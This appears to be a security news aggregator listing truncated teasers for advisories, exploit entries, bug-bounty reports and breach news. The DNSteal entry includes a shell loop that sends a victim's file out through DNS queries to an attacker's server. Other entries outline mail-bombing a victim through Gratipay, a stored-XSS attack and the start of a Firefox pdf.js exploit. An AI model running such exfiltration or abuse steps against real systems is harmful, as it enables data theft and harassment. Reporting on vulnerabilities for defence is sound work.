withinsecurity: DDOS using xmlrpc.php

Wordpress blogs that have xmlrpc.php enabled for pingbacks, trackbacks, etc. can be made as a part of a huge botnet causing a major DDOS. The blog at withinsecurity.com has the xmlrpc.php file enabled and could thus be potentially used for such an attack against other victim hosts. In order to...

Personal Info Stolen? Seven Response Steps

Yesterday on Bloomberg West, host Emily Chang reported on a breach that affected her personally identifiable information PII. She asked what she should do now that she is a victim of data theft. This is my answer. First, I recommend changing passwords for any accounts associated with the breached...

DNSteal - DNS Exfiltration tool for stealthily sending files over DNS requests

This is a fake DNS server that allows you to stealthily extract files from a victim machine through DNS requests. Below is an image showing an example of how to use: On the victim machine, you simply can do something like so: for b in $xxd -p file/to/send.png; do dig @server $b.filename.com; done...

Gratipay: Mail spaming

Hello, We can bomb spam any email we want using your website. POC : 1.register 2.go to https://gratipay.com/hussein98d/emails/ and add your victim's email 3.start intercepting requests and click on "resend" 4.replay the same request many time , the victim's email will be spammed with Gratipay...

OPM Hack Victims Still Haven't Been Notified

Millions of government workers whose information was implicated in this year’s expansive Office of Personnel Management hack still haven’t been notified, the agency revealed this week. The agency announced Tuesday that it would contact 21.5 million federal employees and contractors “later this...

Mozilla Firefox 39.03 - pdf.js Same Origin Policy

Mozilla Firefox 39.03 - pdf.js Same Origin Policy / Exploit Title: Firefox CVE-2015-4495 Test Run the index.html Make sure the main.js is in the same directory and we should be able to see the directory listing. 3. Solution Upgrade to the latest firefox 39.0.3 / var starttimeout=2000; var...

IBM Security Network Protection Cross-Site Request Forgery Vulnerability

IBM Security Network Protection is a next-generation network intrusion prevention system. A cross-site request forgery vulnerability exists in IBM Security Network Protection that allows a remote attacker to construct a malicious URI, trick the user into parsing it, and can perform malicious...

PicketLink: SP does not take Audience condition of a SAML assertion into account

A flaw was found in the way PicketLink's Service Provider and Identity Provider handled certain requests. A remote attacker could use this flaw to log to a victim's account via PicketLink...

IBM Security SiteProtector System Cross-Site Scripting Vulnerability

IBM Security SiteProtector System is a centralized management system that unifies the management and analysis of network, server and endpoint security agents. A cross-site scripting vulnerability exists in IBM Security SiteProtector System. This vulnerability could be exploited by an attacker to...

Barracuda Networks IM Firewall Cross-Site Scripting Vulnerability

Barracuda Networks IM Firewall is an instant messaging solution from Barracuda Networks that integrates an IM server, client management and security measures. The solution provides keyword identification and reporting, file transfer, IM traffic identification and logging. A cross-site scripting...

ASUS RT-G32 Cross-Site Request Forgery Vulnerability

ASUS RT-G32 routers is a router device. A cross-site request forgery vulnerability exists in ASUS RT-G32 routers, which allows remote attackers to construct malicious URIs, trick users into parsing them, and can perform malicious actions in the context of the target user...

Obama Administration Seeks More Legal Power to Disrupt Botnets

The federal government is seeking more legal power to step in and shut down botnets through an amendment to the existing criminal law, which would allow the Department of Justice to obtain injunctions to disrupt these malicious networks. The Obama administration has proposed an amendment to...

Mobile Vikings: Stored xss in user name (2) affected another user.

Again we have to users: A - attacker B - victim User A attacker has name - namealert1 and add auth to user B victim. User B receive a letter and get remider about new request on website. And open it https://mobilevikings.com/account/requests/ And probably press "Accept" and got xss fired. x:confi...

17-Year-Old Hanged Himself After Receiving Police Ransomware Threat Email

Ransomware malware threat has forced somebody for the terrible suicide and once again has marked its history by somebody’s blood. Sad, but it’s True! Joseph Edwards, a 17-year-old schoolboy from Windsor, Berkshire, hanged himself after receiving a bogus email appeared to be from police claiming...

USN-2470-1 git vulnerability

Matt Mackall and Augie Fackler discovered that Git incorrectly handled certain filesystem paths. A remote attacker could possibly use this issue to execute arbitrary code if the Git tree is stored in an HFS+ or NTFS filesystem. The remote attacker would need write access to a Git repository that...

2015 Computer Security Risks and Trends to Watch

P4ssw0rds got you down? POODLEs Bashing you over the head giving you Heartbleed? Well, bad puns aside, 2014 was a rough year and you can surely expect more of the same in 2015—with a few new twists. Hackers will still chase credit card numbers and point-of-sale systems, but they’ve got their eye ...

Windows Gather Outlook Email Messages

This module allows reading and searching email messages from the local Outlook installation using PowerShell. Please note that this module is manipulating the victims keyboard/mouse. If a victim is active on the target system, he may notice the activities of this module. Tested on Windows 8.1 x64...

Microsoft Windows MSXML XSLT Remote Code Execution (MS14-067; CVE-2014-4118)

A remote code execution vulnerability has been reported in Microsoft Windows. The vulnerability is due to an error in MSXML when parsing specially crafted XML content. An attacker could exploit this vulnerability by enticing a victim to open a specially crafted file or web page...

vBulletin 5.1.x - Persistent Cross-Site Scripting

Title: vBulletin 5.1.X - Cross Site Scripting Date: 05.09.14 Version: = 5.1.2 Latest ATM Vendor: vbulletin.com Contact: smash at devilteam.pl 1 Agenda Latest vBulletin forum software suffers on persistent cross site scripting vulnerability, which most likely can be used against every user, such a...

Pro-Syrian Malware Increasing in Number, Complexity

As the civil war in Syria continues, malware targeting those who oppose the embattled regime of Bashar al Assad is increasing in number, organization and sophistication according to a new report from Kaspersky Lab’s Global Research and Analysis Team. Most of the malware samples related to the...